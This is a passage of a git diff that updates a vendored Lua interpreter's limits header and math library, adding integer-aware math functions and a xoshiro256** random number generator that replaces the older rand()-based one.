reserved words or tags for +** metamethods, as these strings must be internalized; +** #("function") = 8, #("__newindex") = 10.) +*/ +#if !defined(LUAI_MAXSHORTLEN) +#define LUAI_MAXSHORTLEN 40 +#endif - -/* minimum size for the string table (must be power of 2) */ +/* +** Initial size for the string table (must be power of 2). +** The Lua core alone registers ~50 strings (reserved words + +** metaevent keys + a few others). Libraries would typically add +** a few dozens more. +*/ #if !defined(MINSTRTABSIZE) -#define MINSTRTABSIZE 32 +#define MINSTRTABSIZE 128 +#endif + + +/* +** Size of cache for strings in the API. 'N' is the number of +** sets (better be a prime) and "M" is the size of each set (M == 1 +** makes a direct cache.) +*/ +#if !defined(STRCACHE_N) +#define STRCACHE_N 53 +#define STRCACHE_M 2 #endif /* minimum size for string buffer */ #if !defined(LUA_MINBUFFER) -#define LUA_MINBUFFER 32 -#endif - - -#if !defined(lua_lock) -#define lua_lock(L) ((void) 0) -#define lua_unlock(L) ((void) 0) -#endif - -#if !defined(luai_threadyield) -#define luai_threadyield(L) {lua_unlock(L); lua_lock(L);} +#define LUA_MINBUFFER 32 #endif /* -** these macros allow user-specific actions on threads when you defined -** LUAI_EXTRASPACE and need to do something extra when a thread is +** Maximum depth for nested C calls, syntactical nested non-terminals, +** and other features implemented through recursion in C. (Value must +** fit in a 16-bit unsigned integer. It must also be compatible with +** the size of the C stack.) +*/ +#if !defined(LUAI_MAXCCALLS) +#define LUAI_MAXCCALLS 200 +#endif + + +/* +** macros that are executed whenever program enters the Lua core +** ('lua_lock') and leaves the core ('lua_unlock') +*/ +#if !defined(lua_lock) +#define lua_lock(L) ((void) 0) +#define lua_unlock(L) ((void) 0) +#endif + +/* +** macro executed during Lua functions at points where the +** function can yield. +*/ +#if !defined(luai_threadyield) +#define luai_threadyield(L) {lua_unlock(L); lua_lock(L);} +#endif + + +/* +** these macros allow user-specific actions when a thread is ** created/deleted/resumed/yielded. */ #if !defined(luai_userstateopen) -#define luai_userstateopen(L) ((void)L) +#define luai_userstateopen(L) ((void)L) #endif #if !defined(luai_userstateclose) -#define luai_userstateclose(L) ((void)L) +#define luai_userstateclose(L) ((void)L) #endif #if !defined(luai_userstatethread) -#define luai_userstatethread(L,L1) ((void)L) +#define luai_userstatethread(L,L1) ((void)L) #endif #if !defined(luai_userstatefree) -#define luai_userstatefree(L,L1) ((void)L) +#define luai_userstatefree(L,L1) ((void)L) #endif #if !defined(luai_userstateresume) -#define luai_userstateresume(L,n) ((void)L) +#define luai_userstateresume(L,n) ((void)L) #endif #if !defined(luai_userstateyield) -#define luai_userstateyield(L,n) ((void)L) +#define luai_userstateyield(L,n) ((void)L) +#endif + + + +/* +** The luai_num* macros define the primitive operations over numbers. +*/ + +/* floor division (defined as 'floor(a/b)') */ +#if !defined(luai_numidiv) +#define luai_numidiv(L,a,b) ((void)L, l_floor(luai_numdiv(L,a,b))) +#endif + +/* float division */ +#if !defined(luai_numdiv) +#define luai_numdiv(L,a,b) ((a)/(b)) #endif /* -** lua_number2int is a macro to convert lua_Number to int. -** lua_number2integer is a macro to convert lua_Number to lua_Integer. -** lua_number2unsigned is a macro to convert a lua_Number to a lua_Unsigned. -** lua_unsigned2number is a macro to convert a lua_Unsigned to a lua_Number. -** luai_hashnum is a macro to hash a lua_Number value into an integer. -** The hash must be deterministic and give reasonable values for -** both small and large values (outside the range of integers). +** modulo: defined as 'a - floor(a/b)*b'; the direct computation +** using this definition has several problems with rounding errors, +** so it is better to use 'fmod'. 'fmod' gives the result of +** 'a - trunc(a/b)*b', and therefore must be corrected when +** 'trunc(a/b) ~= floor(a/b)'. That happens when the division has a +** non-integer negative result: non-integer result is equivalent to +** a non-zero remainder 'm'; negative result is equivalent to 'a' and +** 'b' with different signs, or 'm' and 'b' with different signs +** (as the result 'm' of 'fmod' has the same sign of 'a'). */ - -#if defined(MS_ASMTRICK) || defined(LUA_MSASMTRICK) /* { */ -/* trick with Microsoft assembler for X86 */ - -#define lua_number2int(i,n) __asm {__asm fld n __asm fistp i} -#define lua_number2integer(i,n) lua_number2int(i, n) -#define lua_number2unsigned(i,n) \ - {__int64 l; __asm {__asm fld n __asm fistp l} i = (unsigned int)l;} - - -#elif defined(LUA_IEEE754TRICK) /* }{ */ -/* the next trick should work on any machine using IEEE754 with - a 32-bit int type */ - -union luai_Cast { double l_d; LUA_INT32 l_p[2]; }; - -#if !defined(LUA_IEEEENDIAN) /* { */ -#define LUAI_EXTRAIEEE \ - static const union luai_Cast ieeeendian = {-(33.0 + 6755399441055744.0)}; -#define LUA_IEEEENDIANLOC (ieeeendian.l_p[1] == 33) -#else -#define LUA_IEEEENDIANLOC LUA_IEEEENDIAN -#define LUAI_EXTRAIEEE /* empty */ -#endif /* } */ - -#define lua_number2int32(i,n,t) \ - { LUAI_EXTRAIEEE \ - volatile union luai_Cast u; u.l_d = (n) + 6755399441055744.0; \ - (i) = (t)u.l_p[LUA_IEEEENDIANLOC]; } - -#define luai_hashnum(i,n) \ - { volatile union luai_Cast u; u.l_d = (n) + 1.0; /* avoid -0 */ \ - (i) = u.l_p[0]; (i) += u.l_p[1]; } /* add double bits for his hash */ - -#define lua_number2int(i,n) lua_number2int32(i, n, int) -#define lua_number2unsigned(i,n) lua_number2int32(i, n, lua_Unsigned) - -/* the trick can be expanded to lua_Integer when it is a 32-bit value */ -#if defined(LUA_IEEELL) -#define lua_number2integer(i,n) lua_number2int32(i, n, lua_Integer) +#if !defined(luai_nummod) +#define luai_nummod(L,a,b,m) \ + { (void)L; (m) = l_mathop(fmod)(a,b); \ + if (((m) > 0) ? (b) < 0 : ((m) < 0 && (b) > 0)) (m) += (b); } #endif -#endif /* } */ - - -/* the following definitions always work, but may be slow */ - -#if !defined(lua_number2int) -#define lua_number2int(i,n) ((i)=(int)(n)) +/* exponentiation */ +#if !defined(luai_numpow) +#define luai_numpow(L,a,b) \ + ((void)L, (b == 2) ? (a)*(a) : l_mathop(pow)(a,b)) #endif -#if !defined(lua_number2integer) -#define lua_number2integer(i,n) ((i)=(lua_Integer)(n)) -#endif - -#if !defined(lua_number2unsigned) /* { */ -/* the following definition assures proper modulo behavior */ -#if defined(LUA_NUMBER_DOUBLE) || defined(LUA_NUMBER_FLOAT) -#include -#define SUPUNSIGNED ((lua_Number)(~(lua_Unsigned)0) + 1) -#define lua_number2unsigned(i,n) \ - ((i)=(lua_Unsigned)((n) - floor((n)/SUPUNSIGNED)*SUPUNSIGNED)) -#else -#define lua_number2unsigned(i,n) ((i)=(lua_Unsigned)(n)) -#endif -#endif /* } */ - - -#if !defined(lua_unsigned2number) -/* on several machines, coercion from unsigned to double is slow, - so it may be worth to avoid */ -#define lua_unsigned2number(u) \ - (((u) <= (lua_Unsigned)INT_MAX) ? (lua_Number)(int)(u) : (lua_Number)(u)) +/* the others are quite standard operations */ +#if !defined(luai_numadd) +#define luai_numadd(L,a,b) ((a)+(b)) +#define luai_numsub(L,a,b) ((a)-(b)) +#define luai_nummul(L,a,b) ((a)*(b)) +#define luai_numunm(L,a) (-(a)) +#define luai_numeq(a,b) ((a)==(b)) +#define luai_numlt(a,b) ((a)<(b)) +#define luai_numle(a,b) ((a)<=(b)) +#define luai_numgt(a,b) ((a)>(b)) +#define luai_numge(a,b) ((a)>=(b)) +#define luai_numisnan(a) (!luai_numeq((a), (a))) #endif -#if defined(ltable_c) && !defined(luai_hashnum) - -#include -#include - -#define luai_hashnum(i,n) { int e; \ - n = l_mathop(frexp)(n, &e) * (lua_Number)(INT_MAX - DBL_MAX_EXP); \ - lua_number2int(i, n); i += e; } - -#endif - /* ** macro to control inclusion of some hard tests on stack reallocation */ #if !defined(HARDSTACKTESTS) -#define condmovestack(L) ((void)0) +#define condmovestack(L,pre,pos) ((void)0) #else /* realloc stack keeping its size */ -#define condmovestack(L) luaD_reallocstack((L), (L)->stacksize) +#define condmovestack(L,pre,pos) \ + { int sz_ = stacksize(L); pre; luaD_reallocstack((L), sz_, 0); pos; } #endif #if !defined(HARDMEMTESTS) -#define condchangemem(L) condmovestack(L) +#define condchangemem(L,pre,pos) ((void)0) #else -#define condchangemem(L) \ - ((void)(!(G(L)->gcrunning) || (luaC_fullgc(L, 0), 1))) +#define condchangemem(L,pre,pos) \ + { if (gcrunning(G(L))) { pre; luaC_fullgc(L, 0); pos; } } #endif #endif diff --git a/client/deps/liblua/lmathlib.c b/client/deps/liblua/lmathlib.c index 4f8b9f51f..950da2990 100644 --- a/client/deps/liblua/lmathlib.c +++ b/client/deps/liblua/lmathlib.c @@ -1,16 +1,21 @@ /* -** $Id: lmathlib.c,v 1.83 2013/03/07 18:21:32 roberto Exp $ +** $Id: lmathlib.c $ ** Standard mathematical library ** See Copyright Notice in lua.h */ - -#include -#include - #define lmathlib_c #define LUA_LIB +#include "lprefix.h" + + +#include +#include +#include +#include +#include + #include "lua.h" #include "lauxlib.h" @@ -18,13 +23,16 @@ #undef PI -#define PI ((lua_Number)(3.1415926535897932384626433832795)) -#define RADIANS_PER_DEGREE ((lua_Number)(PI/180.0)) - +#define PI (l_mathop(3.141592653589793238462643383279502884)) static int math_abs(lua_State *L) { - lua_pushnumber(L, l_mathop(fabs)(luaL_checknumber(L, 1))); + if (lua_isinteger(L, 1)) { + lua_Integer n = lua_tointeger(L, 1); + if (n < 0) n = (lua_Integer)(0u - (lua_Unsigned)n); + lua_pushinteger(L, n); + } else + lua_pushnumber(L, l_mathop(fabs)(luaL_checknumber(L, 1))); return 1; } @@ -33,31 +41,16 @@ static int math_sin(lua_State *L) { return 1; } -static int math_sinh(lua_State *L) { - lua_pushnumber(L, l_mathop(sinh)(luaL_checknumber(L, 1))); - return 1; -} - static int math_cos(lua_State *L) { lua_pushnumber(L, l_mathop(cos)(luaL_checknumber(L, 1))); return 1; } -static int math_cosh(lua_State *L) { - lua_pushnumber(L, l_mathop(cosh)(luaL_checknumber(L, 1))); - return 1; -} - static int math_tan(lua_State *L) { lua_pushnumber(L, l_mathop(tan)(luaL_checknumber(L, 1))); return 1; } -static int math_tanh(lua_State *L) { - lua_pushnumber(L, l_mathop(tanh)(luaL_checknumber(L, 1))); - return 1; -} - static int math_asin(lua_State *L) { lua_pushnumber(L, l_mathop(asin)(luaL_checknumber(L, 1))); return 1; @@ -69,49 +62,103 @@ static int math_acos(lua_State *L) { } static int math_atan(lua_State *L) { - lua_pushnumber(L, l_mathop(atan)(luaL_checknumber(L, 1))); + lua_Number y = luaL_checknumber(L, 1); + lua_Number x = luaL_optnumber(L, 2, 1); + lua_pushnumber(L, l_mathop(atan2)(y, x)); return 1; } -static int math_atan2(lua_State *L) { - lua_pushnumber(L, l_mathop(atan2)(luaL_checknumber(L, 1), - luaL_checknumber(L, 2))); + +static int math_toint(lua_State *L) { + int valid; + lua_Integer n = lua_tointegerx(L, 1, &valid); + if (l_likely(valid)) + lua_pushinteger(L, n); + else { + luaL_checkany(L, 1); + luaL_pushfail(L); /* value is not convertible to integer */ + } return 1; } -static int math_ceil(lua_State *L) { - lua_pushnumber(L, l_mathop(ceil)(luaL_checknumber(L, 1))); - return 1; + +static void pushnumint(lua_State *L, lua_Number d) { + lua_Integer n; + if (lua_numbertointeger(d, &n)) /* does 'd' fit in an integer? */ + lua_pushinteger(L, n); /* result is integer */ + else + lua_pushnumber(L, d); /* result is float */ } + static int math_floor(lua_State *L) { - lua_pushnumber(L, l_mathop(floor)(luaL_checknumber(L, 1))); + if (lua_isinteger(L, 1)) + lua_settop(L, 1); /* integer is its own floor */ + else { + lua_Number d = l_mathop(floor)(luaL_checknumber(L, 1)); + pushnumint(L, d); + } return 1; } + +static int math_ceil(lua_State *L) { + if (lua_isinteger(L, 1)) + lua_settop(L, 1); /* integer is its own ceil */ + else { + lua_Number d = l_mathop(ceil)(luaL_checknumber(L, 1)); + pushnumint(L, d); + } + return 1; +} + + static int math_fmod(lua_State *L) { - lua_pushnumber(L, l_mathop(fmod)(luaL_checknumber(L, 1), - luaL_checknumber(L, 2))); + if (lua_isinteger(L, 1) && lua_isinteger(L, 2)) { + lua_Integer d = lua_tointeger(L, 2); + if ((lua_Unsigned)d + 1u <= 1u) { /* special cases: -1 or 0 */ + luaL_argcheck(L, d != 0, 2, "zero"); + lua_pushinteger(L, 0); /* avoid overflow with 0x80000... / -1 */ + } else + lua_pushinteger(L, lua_tointeger(L, 1) % d); + } else + lua_pushnumber(L, l_mathop(fmod)(luaL_checknumber(L, 1), + luaL_checknumber(L, 2))); return 1; } + +/* +** next function does not use 'modf', avoiding problems with 'double*' +** (which is not compatible with 'float*') when lua_Number is not +** 'double'. +*/ static int math_modf(lua_State *L) { - lua_Number ip; - lua_Number fp = l_mathop(modf)(luaL_checknumber(L, 1), &ip); - lua_pushnumber(L, ip); - lua_pushnumber(L, fp); + if (lua_isinteger(L, 1)) { + lua_settop(L, 1); /* number is its own integer part */ + lua_pushnumber(L, 0); /* no fractional part */ + } else { + lua_Number n = luaL_checknumber(L, 1); + /* integer part (rounds toward zero) */ + lua_Number ip = (n < 0) ? l_mathop(ceil)(n) : l_mathop(floor)(n); + pushnumint(L, ip); + /* fractional part (test needed for inf/-inf) */ + lua_pushnumber(L, (n == ip) ? l_mathop(0.0) : (n - ip)); + } return 2; } + static int math_sqrt(lua_State *L) { lua_pushnumber(L, l_mathop(sqrt)(luaL_checknumber(L, 1))); return 1; } -static int math_pow(lua_State *L) { - lua_Number x = luaL_checknumber(L, 1); - lua_Number y = luaL_checknumber(L, 2); - lua_pushnumber(L, l_mathop(pow)(x, y)); + +static int math_ult(lua_State *L) { + lua_Integer a = luaL_checkinteger(L, 1); + lua_Integer b = luaL_checkinteger(L, 2); + lua_pushboolean(L, (lua_Unsigned)a < (lua_Unsigned)b); return 1; } @@ -122,32 +169,525 @@ static int math_log(lua_State *L) { res = l_mathop(log)(x); else { lua_Number base = luaL_checknumber(L, 2); - if (base == (lua_Number)10.0) res = l_mathop(log10)(x); - else res = l_mathop(log)(x) / l_mathop(log)(base); +#if !defined(LUA_USE_C89) + if (base == l_mathop(2.0)) + res = l_mathop(log2)(x); + else +#endif + if (base == l_mathop(10.0)) + res = l_mathop(log10)(x); + else + res = l_mathop(log)(x) / l_mathop(log)(base); } lua_pushnumber(L, res); return 1; } -#if defined(LUA_COMPAT_LOG10) -static int math_log10(lua_State *L) { - lua_pushnumber(L, l_mathop(log10)(luaL_checknumber(L, 1))); - return 1; -} -#endif - static int math_exp(lua_State *L) { lua_pushnumber(L, l_mathop(exp)(luaL_checknumber(L, 1))); return 1; } static int math_deg(lua_State *L) { - lua_pushnumber(L, luaL_checknumber(L, 1) / RADIANS_PER_DEGREE); + lua_pushnumber(L, luaL_checknumber(L, 1) * (l_mathop(180.0) / PI)); return 1; } static int math_rad(lua_State *L) { - lua_pushnumber(L, luaL_checknumber(L, 1)*RADIANS_PER_DEGREE); + lua_pushnumber(L, luaL_checknumber(L, 1) * (PI / l_mathop(180.0))); + return 1; +} + + +static int math_min(lua_State *L) { + int n = lua_gettop(L); /* number of arguments */ + int imin = 1; /* index of current minimum value */ + int i; + luaL_argcheck(L, n >= 1, 1, "value expected"); + for (i = 2; i <= n; i++) { + if (lua_compare(L, i, imin, LUA_OPLT)) + imin = i; + } + lua_pushvalue(L, imin); + return 1; +} + + +static int math_max(lua_State *L) { + int n = lua_gettop(L); /* number of arguments */ + int imax = 1; /* index of current maximum value */ + int i; + luaL_argcheck(L, n >= 1, 1, "value expected"); + for (i = 2; i <= n; i++) { + if (lua_compare(L, imax, i, LUA_OPLT)) + imax = i; + } + lua_pushvalue(L, imax); + return 1; +} + + +static int math_type(lua_State *L) { + if (lua_type(L, 1) == LUA_TNUMBER) + lua_pushstring(L, (lua_isinteger(L, 1)) ? "integer" : "float"); + else { + luaL_checkany(L, 1); + luaL_pushfail(L); + } + return 1; +} + + + +/* +** {================================================================== +** Pseudo-Random Number Generator based on 'xoshiro256**'. +** =================================================================== +*/ + +/* +** This code uses lots of shifts. ANSI C does not allow shifts greater +** than or equal to the width of the type being shifted, so some shifts +** are written in convoluted ways to match that restriction. For +** preprocessor tests, it assumes a width of 32 bits, so the maximum +** shift there is 31 bits. +*/ + + +/* number of binary digits in the mantissa of a float */ +#define FIGS l_floatatt(MANT_DIG) + +#if FIGS > 64 +/* there are only 64 random bits; use them all */ +#undef FIGS +#define FIGS 64 +#endif + + +/* +** LUA_RAND32 forces the use of 32-bit integers in the implementation +** of the PRN generator (mainly for testing). +*/ +#if !defined(LUA_RAND32) && !defined(Rand64) + +/* try to find an integer type with at least 64 bits */ + +#if ((ULONG_MAX >> 31) >> 31) >= 3 + +/* 'long' has at least 64 bits */ +#define Rand64 unsigned long +#define SRand64 long + +#elif !defined(LUA_USE_C89) && defined(LLONG_MAX) + +/* there is a 'long long' type (which must have at least 64 bits) */ +#define Rand64 unsigned long long +#define SRand64 long long + +#elif ((LUA_MAXUNSIGNED >> 31) >> 31) >= 3 + +/* 'lua_Unsigned' has at least 64 bits */ +#define Rand64 lua_Unsigned +#define SRand64 lua_Integer + +#endif + +#endif + + +#if defined(Rand64) /* { */ + +/* +** Standard implementation, using 64-bit integers. +** If 'Rand64' has more than 64 bits, the extra bits do not interfere +** with the 64 initial bits, except in a right shift. Moreover, the +** final result has to discard the extra bits. +*/ + +/* avoid using extra bits when needed */ +#define trim64(x) ((x) & 0xffffffffffffffffu) + + +/* rotate left 'x' by 'n' bits */ +static Rand64 rotl(Rand64 x, int n) { + return (x << n) | (trim64(x) >> (64 - n)); +} + +static Rand64 nextrand(Rand64 *state) { + Rand64 state0 = state[0]; + Rand64 state1 = state[1]; + Rand64 state2 = state[2] ^ state0; + Rand64 state3 = state[3] ^ state1; + Rand64 res = rotl(state1 * 5, 7) * 9; + state[0] = state0 ^ state3; + state[1] = state1 ^ state2; + state[2] = state2 ^ (state1 << 17); + state[3] = rotl(state3, 45); + return res; +} + + +/* +** Convert bits from a random integer into a float in the +** interval [0,1), getting the higher FIG bits from the +** random unsigned integer and converting that to a float. +** Some old Microsoft compilers cannot cast an unsigned long +** to a floating-point number, so we use a signed long as an +** intermediary. When lua_Number is float or double, the shift ensures +** that 'sx' is non negative; in that case, a good compiler will remove +** the correction. +*/ + +/* must throw out the extra (64 - FIGS) bits */ +#define shift64_FIG (64 - FIGS) + +/* 2^(-FIGS) == 2^-1 / 2^(FIGS-1) */ +#define scaleFIG (l_mathop(0.5) / ((Rand64)1 << (FIGS - 1))) + +static lua_Number I2d(Rand64 x) { + SRand64 sx = (SRand64)(trim64(x) >> shift64_FIG); + lua_Number res = (lua_Number)(sx) * scaleFIG; + if (sx < 0) + res += l_mathop(1.0); /* correct the two's complement if negative */ + lua_assert(0 <= res && res < 1); + return res; +} + +/* convert a 'Rand64' to a 'lua_Unsigned' */ +#define I2UInt(x) ((lua_Unsigned)trim64(x)) + +/* convert a 'lua_Unsigned' to a 'Rand64' */ +#define Int2I(x) ((Rand64)(x)) + + +#else /* no 'Rand64' }{ */ + +/* get an integer with at least 32 bits */ +#if LUAI_IS32INT +typedef unsigned int lu_int32; +#else +typedef unsigned long lu_int32; +#endif + + +/* +** Use two 32-bit integers to represent a 64-bit quantity. +*/ +typedef struct Rand64 { + lu_int32 h; /* higher half */ + lu_int32 l; /* lower half */ +} Rand64; + + +/* +** If 'lu_int32' has more than 32 bits, the extra bits do not interfere +** with the 32 initial bits, except in a right shift and comparisons. +** Moreover, the final result has to discard the extra bits. +*/ + +/* avoid using extra bits when needed */ +#define trim32(x) ((x) & 0xffffffffu) + + +/* +** basic operations on 'Rand64' values +*/ + +/* build a new Rand64 value */ +static Rand64 packI(lu_int32 h, lu_int32 l) { + Rand64 result; + result.h = h; + result.l = l; + return result; +} + +/* return i << n */ +static Rand64 Ishl(Rand64 i, int n) { + lua_assert(n > 0 && n < 32); + return packI((i.h << n) | (trim32(i.l) >> (32 - n)), i.l << n); +} + +/* i1 ^= i2 */ +static void Ixor(Rand64 *i1, Rand64 i2) { + i1->h ^= i2.h; + i1->l ^= i2.l; +} + +/* return i1 + i2 */ +static Rand64 Iadd(Rand64 i1, Rand64 i2) { + Rand64 result = packI(i1.h + i2.h, i1.l + i2.l); + if (trim32(result.l) < trim32(i1.l)) /* carry? */ + result.h++; + return result; +} + +/* return i * 5 */ +static Rand64 times5(Rand64 i) { + return Iadd(Ishl(i, 2), i); /* i * 5 == (i << 2) + i */ +} + +/* return i * 9 */ +static Rand64 times9(Rand64 i) { + return Iadd(Ishl(i, 3), i); /* i * 9 == (i << 3) + i */ +} + +/* return 'i' rotated left 'n' bits */ +static Rand64 rotl(Rand64 i, int n) { + lua_assert(n > 0 && n < 32); + return packI((i.h << n) | (trim32(i.l) >> (32 - n)), + (trim32(i.h) >> (32 - n)) | (i.l << n)); +} + +/* for offsets larger than 32, rotate right by 64 - offset */ +static Rand64 rotl1(Rand64 i, int n) { + lua_assert(n > 32 && n < 64); + n = 64 - n; + return packI((trim32(i.h) >> n) | (i.l << (32 - n)), + (i.h << (32 - n)) | (trim32(i.l) >> n)); +} + +/* +** implementation of 'xoshiro256**' algorithm on 'Rand64' values +*/ +static Rand64 nextrand(Rand64 *state) { + Rand64 res = times9(rotl(times5(state[1]), 7)); + Rand64 t = Ishl(state[1], 17); + Ixor(&state[2], state[0]); + Ixor(&state[3], state[1]); + Ixor(&state[1], state[2]); + Ixor(&state[0], state[3]); + Ixor(&state[2], t); + state[3] = rotl1(state[3], 45); + return res; +} + + +/* +** Converts a 'Rand64' into a float. +*/ + +/* an unsigned 1 with proper type */ +#define UONE ((lu_int32)1) + + +#if FIGS <= 32 + +/* 2^(-FIGS) */ +#define scaleFIG (l_mathop(0.5) / (UONE << (FIGS - 1))) + +/* +** get up to 32 bits from higher half, shifting right to +** throw out the extra bits. +*/ +static lua_Number I2d(Rand64 x) { + lua_Number h = (lua_Number)(trim32(x.h) >> (32 - FIGS)); + return h * scaleFIG; +} + +#else /* 32 < FIGS <= 64 */ + +/* 2^(-FIGS) = 1.0 / 2^30 / 2^3 / 2^(FIGS-33) */ +#define scaleFIG \ + (l_mathop(1.0) / (UONE << 30) / l_mathop(8.0) / (UONE << (FIGS - 33))) + +/* +** use FIGS - 32 bits from lower half, throwing out the other +** (32 - (FIGS - 32)) = (64 - FIGS) bits +*/ +#define shiftLOW (64 - FIGS) + +/* +** higher 32 bits go after those (FIGS - 32) bits: shiftHI = 2^(FIGS - 32) +*/ +#define shiftHI ((lua_Number)(UONE << (FIGS - 33)) * l_mathop(2.0)) + + +static lua_Number I2d(Rand64 x) { + lua_Number h = (lua_Number)trim32(x.h) * shiftHI; + lua_Number l = (lua_Number)(trim32(x.l) >> shiftLOW); + return (h + l) * scaleFIG; +} + +#endif + + +/* convert a 'Rand64' to a 'lua_Unsigned' */ +static lua_Unsigned I2UInt(Rand64 x) { + return (((lua_Unsigned)trim32(x.h) << 31) << 1) | (lua_Unsigned)trim32(x.l); +} + +/* convert a 'lua_Unsigned' to a 'Rand64' */ +static Rand64 Int2I(lua_Unsigned n) { + return packI((lu_int32)((n >> 31) >> 1), (lu_int32)n); +} + +#endif /* } */ + + +/* +** A state uses four 'Rand64' values. +*/ +typedef struct { + Rand64 s[4]; +} RanState; + + +/* +** Project the random integer 'ran' into the interval [0, n]. +** Because 'ran' has 2^B possible values, the projection can only be +** uniform when the size of the interval is a power of 2 (exact +** division). Otherwise, to get a uniform projection into [0, n], we +** first compute 'lim', the smallest Mersenne number not smaller than +** 'n'. We then project 'ran' into the interval [0, lim]. If the result +** is inside [0, n], we are done. Otherwise, we try with another 'ran', +** until we have a result inside the interval. +*/ +static lua_Unsigned project(lua_Unsigned ran, lua_Unsigned n, + RanState *state) { + if ((n & (n + 1)) == 0) /* is 'n + 1' a power of 2? */ + return ran & n; /* no bias */ + else { + lua_Unsigned lim = n; + /* compute the smallest (2^b - 1) not smaller than 'n' */ + lim |= (lim >> 1); + lim |= (lim >> 2); + lim |= (lim >> 4); + lim |= (lim >> 8); + lim |= (lim >> 16); +#if (LUA_MAXUNSIGNED >> 31) >= 3 + lim |= (lim >> 32); /* integer type has more than 32 bits */ +#endif + lua_assert((lim & (lim + 1)) == 0 /* 'lim + 1' is a power of 2, */ + && lim >= n /* not smaller than 'n', */ + && (lim >> 1) < n); /* and it is the smallest one */ + while ((ran &= lim) > n) /* project 'ran' into [0..lim] */ + ran = I2UInt(nextrand(state->s)); /* not inside [0..n]? try again */ + return ran; + } +} + + +static int math_random(lua_State *L) { + lua_Integer low, up; + lua_Unsigned p; + RanState *state = (RanState *)lua_touserdata(L, lua_upvalueindex(1)); + Rand64 rv = nextrand(state->s); /* next pseudo-random value */ + switch (lua_gettop(L)) { /* check number of arguments */ + case 0: { /* no arguments */ + lua_pushnumber(L, I2d(rv)); /* float between 0 and 1 */ + return 1; + } + case 1: { /* only upper limit */ + low = 1; + up = luaL_checkinteger(L, 1); + if (up == 0) { /* single 0 as argument? */ + lua_pushinteger(L, I2UInt(rv)); /* full random integer */ + return 1; + } + break; + } + case 2: { /* lower and upper limits */ + low = luaL_checkinteger(L, 1); + up = luaL_checkinteger(L, 2); + break; + } + default: + return luaL_error(L, "wrong number of arguments"); + } + /* random integer in the interval [low, up] */ + luaL_argcheck(L, low <= up, 1, "interval is empty"); + /* project random integer into the interval [0, up - low] */ + p = project(I2UInt(rv), (lua_Unsigned)up - (lua_Unsigned)low, state); + lua_pushinteger(L, p + (lua_Unsigned)low); + return 1; +} + + +static void setseed(lua_State *L, Rand64 *state, + lua_Unsigned n1, lua_Unsigned n2) { + int i; + state[0] = Int2I(n1); + state[1] = Int2I(0xff); /* avoid a zero state */ + state[2] = Int2I(n2); + state[3] = Int2I(0); + for (i = 0; i < 16; i++) + nextrand(state); /* discard initial values to "spread" seed */ + lua_pushinteger(L, n1); + lua_pushinteger(L, n2); +} + + +/* +** Set a "random" seed. To get some randomness, use the current time +** and the address of 'L' (in case the machine does address space layout +** randomization). +*/ +static void randseed(lua_State *L, RanState *state) { + lua_Unsigned seed1 = (lua_Unsigned)time(NULL); + lua_Unsigned seed2 = (lua_Unsigned)(size_t)L; + setseed(L, state->s, seed1, seed2); +} + + +static int math_randomseed(lua_State *L) { + RanState *state = (RanState *)lua_touserdata(L, lua_upvalueindex(1)); + if (lua_isnone(L, 1)) { + randseed(L, state); + } else { + lua_Integer n1 = luaL_checkinteger(L, 1); + lua_Integer n2 = luaL_optinteger(L, 2, 0); + setseed(L, state->s, n1, n2); + } + return 2; /* return seeds */ +} + + +static const luaL_Reg randfuncs[] = { + {"random", math_random}, + {"randomseed", math_randomseed}, + {NULL, NULL} +}; + + +/* +** Register the random functions and initialize their state. +*/ +static void setrandfunc(lua_State *L) { + RanState *state = (RanState *)lua_newuserdatauv(L, sizeof(RanState), 0); + randseed(L, state); /* initialize with a "random" seed */ + lua_pop(L, 2); /* remove pushed seeds */ + luaL_setfuncs(L, randfuncs, 1); +} + +/* }================================================================== */ + + +/* +** {================================================================== +** Deprecated functions (for compatibility only) +** =================================================================== +*/ +#if defined(LUA_COMPAT_MATHLIB) + +static int math_cosh(lua_State *L) { + lua_pushnumber(L, l_mathop(cosh)(luaL_checknumber(L, 1))); + return 1; +} + +static int math_sinh(lua_State *L) { + lua_pushnumber(L, l_mathop(sinh)(luaL_checknumber(L, 1))); + return 1; +} + +static int math_tanh(lua_State *L) { + lua_pushnumber(L, l_mathop(tanh)(luaL_checknumber(L, 1))); + return 1; +} + +static int math_pow(lua_State *L) { + lua_Number x = luaL_checknumber(L, 1); + lua_Number y = luaL_checknumber(L, 2); + lua_pushnumber(L, l_mathop(pow)(x, y)); return 1; } @@ -160,108 +700,60 @@ static int math_frexp(lua_State *L) { static int math_ldexp(lua_State *L) { lua_Number x = luaL_checknumber(L, 1); - int ep = luaL_checkint(L, 2); + int ep = (int)luaL_checkinteger(L, 2); lua_pushnumber(L, l_mathop(ldexp)(x, ep)); return 1; } - - -static int math_min(lua_State *L) { - int n = lua_gettop(L); /* number of arguments */ - lua_Number dmin = luaL_checknumber(L, 1); - int i; - for (i = 2; i <= n; i++) { - lua_Number d = luaL_checknumber(L, i); - if (d < dmin) - dmin = d; - } - lua_pushnumber(L, dmin); +static int math_log10(lua_State *L) { + lua_pushnumber(L, l_mathop(log10)(luaL_checknumber(L, 1))); return 1; } +#endif +/* }================================================================== */ -static int math_max(lua_State *L) { - int n = lua_gettop(L); /* number of arguments */ - lua_Number dmax = luaL_checknumber(L, 1); - int i; - for (i = 2; i <= n; i++) { - lua_Number d = luaL_checknumber(L, i); - if (d > dmax) - dmax = d; - } - lua_pushnumber(L, dmax); - return 1; -} - - -static int math_random(lua_State *L) { - /* the `%' avoids the (rare) case of r==1, and is needed also because on - some systems (SunOS!) `rand()' may return a value larger than RAND_MAX */ - lua_Number r = (lua_Number)(rand() % RAND_MAX) / (lua_Number)RAND_MAX; - switch (lua_gettop(L)) { /* check number of arguments */ - case 0: { /* no arguments */ - lua_pushnumber(L, r); /* Number between 0 and 1 */ - break; - } - case 1: { /* only upper limit */ - lua_Number u = luaL_checknumber(L, 1); - luaL_argcheck(L, (lua_Number)1.0 <= u, 1, "interval is empty"); - lua_pushnumber(L, l_mathop(floor)(r * u) + (lua_Number)(1.0)); /* [1, u] */ - break; - } - case 2: { /* lower and upper limits */ - lua_Number l = luaL_checknumber(L, 1); - lua_Number u = luaL_checknumber(L, 2); - luaL_argcheck(L, l <= u, 2, "interval is empty"); - lua_pushnumber(L, l_mathop(floor)(r * (u - l + 1)) + l); /* [l, u] */ - break; - } - default: - return luaL_error(L, "wrong number of arguments"); - } - return 1; -} - - -static int math_randomseed(lua_State *L) { - srand(luaL_checkunsigned(L, 1)); - (void)rand(); /* discard first value to avoid undesirable correlations */ - return 0; -} static const luaL_Reg mathlib[] = { {"abs", math_abs}, {"acos", math_acos}, {"asin", 